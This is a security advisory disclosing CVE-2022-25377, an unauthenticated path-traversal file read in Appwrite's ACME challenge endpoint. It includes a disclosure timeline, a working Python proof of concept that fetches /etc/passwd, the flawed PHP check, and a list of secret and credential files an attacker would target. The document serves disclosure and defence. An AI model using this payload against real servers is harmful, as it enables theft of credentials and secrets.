Unauthenticated LFI in Appwrite 0.5.0 <= 0.12.1


Advisories / February 22, 2022 • 2 min read

Tags: web exploit


While exploring cyber space I stumbled upon a project called Appwrite. Looked interesting, started browsing the code. Eventually, I discovered an undisclosed vulnerability in one of the endpoints allowing an attacker to read local files on the system.

The endpoint /.well-known/acme-challenge is vulnerable against local file inclusion which allows an attacker to read arbitrary files on the system. The endpoint contains incorrect checks for verifying that file is located within a defined base path. Vulnerable versions include version 0.5.0 to 0.11.0. The vulnerability does not require authentication.

However, in order for a instance of appwrite to be exploitable, the path in APP_STORAGE_CERTIFICATES/.well-known/acme-challenge must exist on disk. This path will be automatically created if the user chooses to install let’s encrypt certificates via appwrite.

Disclosure Timeline:

  • 2021-12-9: Sent an email describing the issue, no response
  • 2021-12-16: Sent a follow-up email, no response.
  • 2021-12-21: Sent a Twitter DM to a project founder, no response
  • 2022-01-10: Reported bug to Detectify Crowdsource, they in turn attempted to contact the project owners
  • 2022-01-24: Appwrite responds to Detectify, acknowledges the vulnerability
  • 2022-02-16: Vulnerability is fixed in version 0.12.2
  • 2022-02-17: CVE is requested
  • 2022-02-20: CVE-2022-25377 is reserved

Proof of Concept

The following poc will extract /etc/passwd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import urllib.request

### Appwrite Unauthenticated LFI
# Vulnerable versions: 0.5.0 <= 0.12.1
# Date: 2021-12-08
# Author: @dubs3c
# dubell.io
#
# $APP_STORAGE_CERTIFICATES/.well-known/acme-challenge must exist on target's disk

try:
    r = urllib.request.urlopen('http://localhost:8080/.well-known/acme-challenge/../../../../../../../../etc/passwd')
    print(r.read().decode())
except urllib.error.HTTPError as e:
    print(f"[-] Status code {e.status}. Exploit not possible...")

Mitigation

Update to version 0.12.2

Technical Description

This is possible mainly because the check if (!\substr($absolute, 0, \strlen($base)) === $base) is incorrect. It inverts the result of substr, causing it to become false. The final if statement then becomes if (false === $base) {error} which is not true, thereby bypassing the check. This can be fixed by using !== instead.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$base = \realpath(APP_STORAGE_CERTIFICATES);
$path = \str_replace('/.well-known/acme-challenge/', '', $request->getURI());
$absolute = \realpath($base.'/.well-known/acme-challenge/'.$path);

if (!$base) {
        throw new Exception('Storage error', 500);
}

if (!$absolute) {
        throw new Exception('Unknown path', 404);
}

if (!\substr($absolute, 0, \strlen($base)) === $base) {   // this is bypassed because !substr() is inverted before the equivalence check 
        throw new Exception('Invalid path', 401);
}

if (!\file_exists($absolute)) {
        throw new Exception('Unknown path', 404);
}

$content = @\file_get_contents($absolute);

if (!$content) {
        throw new Exception('Failed to get contents', 500);
}

$response->text($content);

Impact

The consequences of this vulnerability is quite severe, as it allows reading local files on the system. If php is running as root as it is in provided docker environment, the LFI allows for reading any file on the system. Interesting files an attacker would try to retrieve (but not limited to):

  • /proc/self/environ (contains appwrite secrets such as smtp- and db password)
  • /etc/shadow
  • /etc/passwd
  • Private SSH keys
  • Private certificate keys
  • .bash-history
  • Local appwrite cache files
  • Configuration files

According to Shodan.io (2021-12-08), there are 562 servers running appwwrite. It is recommended to fix this as soon as possible.